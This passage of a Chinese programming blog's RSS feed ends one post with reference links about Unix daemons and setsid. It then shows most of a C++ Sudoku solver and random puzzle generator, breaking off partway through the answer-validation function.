/><div>对setsid阐述较透彻：http://www.cnblogs.com/xuxm2007/archive/2011/07/29/2121280.html</div><div>对终端的事说了些：http://blog.51cto.com/10541559/1771212</div><div>对syslog的事说了些：https://www.linuxidc.com/Linux/2015-01/111933.htm</div><div>此外，man 3 daemon这个库函数只实现了部分阶段（例如没有屏蔽SIGCHLD以及对mask做任何处理）：https://github.com/lattera/glibc/blob/master/misc/daemon.c</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/433150.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2018-04-12 18:36 <a href="http://www.blogjava.net/bacoo/archive/2018/04/12/433150.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>sudoku</title><link>http://www.blogjava.net/bacoo/archive/2017/11/03/432875.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Fri, 03 Nov 2017 09:19:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/11/03/432875.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432875.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/11/03/432875.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432875.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432875.html</trackback:ping><description><![CDATA[<div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008080; ">&nbsp; 1</span>&nbsp;#include&nbsp;&lt;sys/time.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;2</span>&nbsp;#include&nbsp;&lt;stdlib.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;3</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;4</span>&nbsp;#include&nbsp;&lt;iostream&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;5</span>&nbsp;#include&nbsp;&lt;vector&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;6</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;7</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">set</span>&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;8</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;&nbsp;9</span>&nbsp;<span style="color: #0000FF; ">class</span>&nbsp;Sudoku&nbsp;{<br /><span style="color: #008080; ">&nbsp;10</span>&nbsp;<span style="color: #0000FF; ">public</span>:<br /><span style="color: #008080; ">&nbsp;11</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku(<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&amp;&nbsp;question,&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;does_try_all_answers&nbsp;=&nbsp;<span style="color: #0000FF; ">false</span>):&nbsp;m_does_try_all_answers(does_try_all_answers),&nbsp;m_data(9)&nbsp;{<br /><span style="color: #008080; ">&nbsp;12</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">&nbsp;13</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_data[i].resize(9);<br /><span style="color: #008080; ">&nbsp;14</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;15</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_data[i][j]&nbsp;=&nbsp;question[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j];<br /><span style="color: #008080; ">&nbsp;16</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;17</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;18</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;19</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;20</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;Solve()&nbsp;{<br /><span style="color: #008080; ">&nbsp;21</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;Fill(0,&nbsp;0);<br /><span style="color: #008080; ">&nbsp;22</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;23</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;24</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&nbsp;GiveOneAnswer()&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;25</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;m_all_answers.empty()&nbsp;?&nbsp;""&nbsp;:&nbsp;*m_all_answers.begin();<br /><span style="color: #008080; ">&nbsp;26</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;27</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;28</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">set</span>&lt;std::<span style="color: #0000FF; ">string</span>&gt;&nbsp;GiveAllAnswers()&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;29</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;m_all_answers;<br /><span style="color: #008080; ">&nbsp;30</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;31</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;32</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&nbsp;ProvideOneQuestionRandomly(<span style="color: #0000FF; ">int</span>&nbsp;min_filled_num&nbsp;=&nbsp;30)&nbsp;{<br /><span style="color: #008080; ">&nbsp;33</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::vector&lt;std::vector&lt;<span style="color: #0000FF; ">char</span>&gt;&nbsp;&gt;&nbsp;ques(9,&nbsp;std::vector&lt;<span style="color: #0000FF; ">char</span>&gt;(9,&nbsp;'.'));<br /><span style="color: #008080; ">&nbsp;34</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;35</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;timeval&nbsp;cur_tv;<br /><span style="color: #008080; ">&nbsp;36</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gettimeofday(&amp;cur_tv,&nbsp;NULL);<br /><span style="color: #008080; ">&nbsp;37</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;srand(cur_tv.tv_usec);<br /><span style="color: #008080; ">&nbsp;38</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;39</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;valid_digit_num&nbsp;=&nbsp;0;<br /><span style="color: #008080; ">&nbsp;40</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">&nbsp;41</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;42</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(rand()&nbsp;%&nbsp;81&nbsp;&lt;=&nbsp;min_filled_num&nbsp;+&nbsp;valid_digit_num&nbsp;/&nbsp;6)&nbsp;{<br /><span style="color: #008080; ">&nbsp;43</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;c&nbsp;=&nbsp;rand()&nbsp;%&nbsp;9&nbsp;+&nbsp;'1';<br /><span style="color: #008080; ">&nbsp;44</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;45</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(DoesConflict(ques,&nbsp;i,&nbsp;j,&nbsp;c))&nbsp;{<br /><span style="color: #008080; ">&nbsp;46</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;k&nbsp;=&nbsp;0;<br /><span style="color: #008080; ">&nbsp;47</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(;&nbsp;k&nbsp;&lt;&nbsp;8;&nbsp;++k)&nbsp;{<br /><span style="color: #008080; ">&nbsp;48</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(c&nbsp;==&nbsp;'9')&nbsp;{<br /><span style="color: #008080; ">&nbsp;49</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;=&nbsp;'1';<br /><span style="color: #008080; ">&nbsp;50</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;51</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!DoesConflict(ques,&nbsp;i,&nbsp;j,&nbsp;++c))&nbsp;{<br /><span style="color: #008080; ">&nbsp;52</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">break</span>;<br /><span style="color: #008080; ">&nbsp;53</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;54</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;55</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(8&nbsp;==&nbsp;k)&nbsp;{<br /><span style="color: #008080; ">&nbsp;56</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;=&nbsp;'.';<br /><span style="color: #008080; ">&nbsp;57</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;58</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;59</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;60</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;valid_digit_num&nbsp;+=&nbsp;('.'&nbsp;!=&nbsp;c);<br /><span style="color: #008080; ">&nbsp;61</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ques[i][j]&nbsp;=&nbsp;c;<br /><span style="color: #008080; ">&nbsp;62</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;63</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ques[i][j]&nbsp;=&nbsp;'.';<br /><span style="color: #008080; ">&nbsp;64</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;65</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;66</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;67</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;68</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;buf[82];<br /><span style="color: #008080; ">&nbsp;69</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf[81]&nbsp;=&nbsp;'\0';<br /><span style="color: #008080; ">&nbsp;70</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">&nbsp;71</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;72</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j]&nbsp;=&nbsp;ques[i][j];<br /><span style="color: #008080; ">&nbsp;73</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;74</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;75</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;76</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku&nbsp;sudoku(buf);<br /><span style="color: #008080; ">&nbsp;77</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sudoku.Solve();<br /><span style="color: #008080; ">&nbsp;78</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(81&nbsp;==&nbsp;sudoku.GiveOneAnswer().size())&nbsp;{<br /><span style="color: #008080; ">&nbsp;79</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;buf;<br /><span style="color: #008080; ">&nbsp;80</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;81</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;ProvideOneQuestionRandomly(min_filled_num);<br /><span style="color: #008080; ">&nbsp;82</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;83</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;84</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;buf;<br /><span style="color: #008080; ">&nbsp;85</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;86</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;87</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;PrintSudoku(<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&amp;&nbsp;sudoku)&nbsp;{<br /><span style="color: #008080; ">&nbsp;88</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(sudoku.size()&nbsp;&lt;&nbsp;81)&nbsp;{<br /><span style="color: #008080; ">&nbsp;89</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>;<br /><span style="color: #008080; ">&nbsp;90</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;91</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;92</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">&nbsp;93</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;94</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(0&nbsp;!=&nbsp;j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;95</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;"&nbsp;";<br /><span style="color: #008080; ">&nbsp;96</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;97</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;sudoku[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j];<br /><span style="color: #008080; ">&nbsp;98</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;99</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;std::endl;<br /><span style="color: #008080; ">100</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">101</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">102</span>&nbsp;<br /><span style="color: #008080; ">103</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;ValidateOneAnswer(<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&amp;&nbsp;answer)&nbsp;{<br /><span style="color: #008080; ">104</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(answer.size()&nbsp;!=&nbsp;81)&nbsp;{<br /><span style="color: #008080; ">105</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">106</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">107</span>&nbsp;<br /><span style="color: #008080; ">108</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">109</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;hit_h[9]&nbsp;=&nbsp;{&nbsp;'\0'&nbsp;};<br /><span style="color: #008080; ">110</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;hit_v[9]&nbsp;=&nbsp;{&nbsp;'\0'&nbsp;};<br /><span style="color: #008080; ">111</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">112</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; 